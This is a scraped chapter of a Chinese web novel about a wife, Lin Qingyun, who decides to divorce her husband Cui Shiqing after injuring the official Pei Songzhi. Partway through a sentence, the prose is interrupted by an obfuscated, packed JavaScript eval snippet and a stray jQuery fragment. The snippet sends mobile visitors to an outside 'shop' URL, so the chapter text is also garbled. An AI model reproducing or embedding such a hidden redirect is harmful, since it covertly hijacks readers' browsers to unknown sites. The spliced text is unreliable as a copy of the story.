文趣网 > 其他小说 > 高嫁后被前夫强取豪夺了 > 18. 和离(上)
    崔时清怔怔看向林青云,张着口一时说不出话来。

    “青云……娘子……怎么……”

    “三郎,我们和离吧。”林青云轻声重复了一遍。

    “我们不是好好的……”崔时清喃喃道,却忽而想起来,一把跳起来,扑到裴颂之身上,翻遍了他衣襟,总算摸出来那封早被揉得皱皱巴巴的休书,“这封休书不是我想签的,娘子!”

    他两指捏着纸张边角,前后一撕,又一撕,休书登时便成了碎片,教他尽数抛洒在地上。

    “这休书还没过官府户籍,如今就当不做数了,娘子,我们还是夫妻,不必和离的。”

    几片带着墨迹的碎末轻轻落在裴颂之脸上,激得他眼皮微微翕动。

    “……那他怎么办?”林青云一指地上的裴颂之道,“今日是我伤了他,只要他活着出去,日后他总要找上门来寻仇的;可若就此结果了他,也总要有个人来担着。三郎,”

    她话音沉下去,却带了几分温和:“三郎,我们和离才是最合适的,只有和离了,此事才不会牵扯到崔家,他要寻仇也只寻我一人就是了。”

    “这样岂非遂了他的愿!娘子……我们没做错什么,为什么非要和离才能……”

    “因为和离便是当下最好的法子了。”青云不为所动,扶了崔时清起身,寻了一处客座坐下来,“三郎,我令人去请郎中了,你先歇着些,不要走动。”

    “青云……!”

    “三郎,只有和离才能解决当下困境。”林青云摇摇头,从裴颂之身上跨过去,与崔时清一同等着郎中,“再说了,今日他肯放你出来,未必没有休书与你娘的缘故,若我们坚持不和离,你日后总还要教他找上来动刑的。”

    她长长叹出一口气道:“你娘不会放过我,你也要受苦,何必呢。倒不如就此和离了,面子上也好看些。”

    而且休书下来她要净身出户,若是和离,她父母双亡之人,还能分些银钱傍身,到时候也好自立门户,想法子安身下来。

    “再说了,三郎,”林青云笑了笑,面上露出几分苦涩来,“三郎,你真的能抗过你娘吗?她要你休了我,你能反对一时,能一直顶住压力吗?若来日裴颂之再逼迫你,逼迫你娘甚至大哥,你真的能坚持吗?”

    情分是会被这些琐事消磨殆尽的,到那时再要和离,她林青云恐怕拿不到多少银钱。

    还不如趁此时清浓,又留着几分愧疚,多争取些现钱。人总要为自己多打算。

    只是她曾经想要的富贵清闲生活,恐怕是无缘了。

    而这……她眼光落到裴颂之身上,全是为这个男人所害。

    也不知道耶耶怎么想的,就给她订了这么一门娃娃亲,真是晦气!退了也晦气!

    崔时清不说话了,垂着眼帘看向地上的裴颂之。

    娘子总是对的。

    “……娘子,”过了好半晌,崔时清才轻声道,“娘子,我们今日是真的没有办法了吗……”

    “是,没有别的法子了。”林青云沉声道,一面起身往外看去,是李夫人带着郎中到了。

    “三郎,准备和离吧。”

    她深呼吸一口,重整旗鼓,准备等着下一场恶战。

    “你……这是怎么回事!”李夫人对着满地狼藉惊叫一声,险些便要晕过去,险险教仆妇拉住了,“林青云,你谋害朝廷命官,我们家是留不得你了……!你、反正三郎也签了休书,你明日便从我们家出去!”

    裴颂之若是真死在崔府怎么办!她和三郎大郎岂不是都要下狱斩首了!

    林青云便笑看了一眼崔时清,崔时清头越发低下去。

    娘子早料到了,他或许能反对母亲一时,却不能违抗母亲一世。

    裴颂之说得没错,他配不上青云。

    “休书已教三郎撕了,母亲。”林青云没接李夫人话头,沉声道,“明日我便与三郎和离,而今先给三郎看看伤吧——兰香,叫几个人来打扫堂屋。”

    兰香如蒙大赦,赶忙出去叫人来:“是,娘子。”

    “和离?”李夫人不禁瞥了林青云一眼,“你竟然要和离?”

    “是,此事我一人承担,自然要与三郎和离。”林青云道,“母亲陷害我到此地,将我出卖给裴颂之一事,还没与母亲说个分明。”

    李夫人浑身一凛,当即尖声道:“你想怎样?”

    “母亲多虑了,”林青云不由好笑,李夫人色厉内荏,没做过什么恶事便心虚,“不过是想与母亲多讨些傍身钱,不然……”

    她轻轻压低了声音,俯身到李夫人耳边道:“不然妾没了依仗,只好委身裴颂之,届时再吹些枕边风,母亲……三郎今日如何遭遇,母亲心中也有数,来日恐怕不止三郎一人,大郎君身居尚书台……”

    她言尽于此,笑了笑,没再多说。

    李夫人自己会顺着想下去的。

    “你……!你要挟我?!”李夫人“噌”的一下站起来,“三郎,你就是看上这么个泼妇!这就是你的非她不娶!”

    林青云笑了笑,往身侧让了一步。

    崔时清正教郎中按住在重新上药包扎伤口,闻言也忍不住反驳起李夫人来:“母亲!若非我们无理在先,我何必要与青云和离?青云也是逼不得已,还请母亲不要再说了!”

    他说着便要站起来,却教郎中按住了:“郎君莫动,小心伤口再度崩裂。”

    “……唔,好。”

    “郎君这伤前些日子有了应急处理,当无大碍,只是……”郎中不由看了一眼地上的裴颂之,“这位郎君……”

    崔时清便与林青云对视了一眼,两人都不禁沉默。

    “自然也请先生替我诊治一番。”

    这下却是地上的裴颂之自己开口了,唬得堂中所有人都是一跳。

    他什么时候醒的?!

    裴颂之半阖着眼皮,声音嘶哑轻飘,大约是真的失血过多没什么力气:“烦劳先生也替我诊治些……头颈受了些外伤,大约要清洗包

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605680|204843||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    扎一番。”

    “这是……这是自然……”郎中慌忙点头,给崔时清包好了伤口便去瞧裴颂之。

    他伤皆在头颈,轻易挪动不得,便只好就放他躺在地上清洗包扎。

    “郎君身体康健,这外伤已止血了,倒是没有性命之忧……”郎中说着便很有些犹豫,“只是这……小可瞧着郎君脚上也有些血迹,是否……”

    “啊……”裴颂之头疼欲裂,这才想起来林青云拿着花瓶那一下,“是,脚上给碎瓷片扎了,怕是也要处理一番。”

    泼皮娘子……他不禁嘴角弯了弯,听她与崔时清意思,这是已决定好要和离了。

    只要他们一分开……

    林青云,当年瞧不上寒门的婚约,这回他定要这个势利贪婪的泼妇后悔!

    “裴少卿……”李夫人不免有些尴尬,先开口道,“这……既然裴少卿身上重伤,想来不便行动,不如在崔府客舍先歇下一晚休养着,便当作是崔府的赔礼……”

    裴颂之冷笑一声道:“夫人是怕裴某挟私报复?”

    “这……到底裴少卿是在敝府受了伤……”李夫人讪讪道,虽然她没瞧见全程,但想也知道定然有林青云的事,不然三郎何必在此遮掩,她实在是怕裴颂之事后对崔府怀恨在心又回过头来报复上崔府,才不得不替林青云打这个圆场,好歹先稳住裴颂之。

    “晚辈听着贵府上有些家事要处理……”裴颂之话音里有几分戏谑道,“恐怕不适宜外人在场,至于娘子的事……裴某自然另有安排。”

    他微微掀起眼皮,瞧了一眼林青云才道:“晚辈私宅便在左近的平康坊,路不远,今日回自宅休养便是,李夫人的美意晚辈心领了。”

    林青云眼神落在裴颂之身上,看着李夫人与崔时清脸色终究是没有当场发作,只同郎中询问道:“不知三郎此番可有碍么?三郎惯来身子骨不甚强健,这下伤口反复,往后如何休养为好?”

    崔时清不免动容道:‘青云……’

    “是,三郎君此番是得要好生静养一段时日,不仅要在饮食休息上格外注意,夜里就寝时还须小心不能仰躺,以免生了褥疮,背上溃烂不能愈合。”郎中缓缓道,“这位……裴少卿也是一般,头颈皆是经脉聚合之处,后续也得要好生静养才是。”

    裴颂之便看了一眼林青云,轻声笑道:“烦劳娘子费心。”

    林青云只觉后背一阵恶寒,只后悔先时怎么没有一簪子扎穿他颈子。

    她可没说过和离了要跟他回家!

    裴颂之自然也将林青云这一脸吞了苍蝇的表情尽收眼底,面色却仍旧不变,还是那一副笑面道:“娘子给裴某赐下这一身伤,莫非半点表示也没有?娘子,你也不想崔三……”

    “够了……!”林青云最终还是忍无可忍,“裴少卿此刻若能闭上铁口直断的嘴,妾自然对今日之事负责,待此间事毕了,定档上门亲自问候少卿身体。”

    至于怎么个“问候”法,到时候裴颂之就别多问了。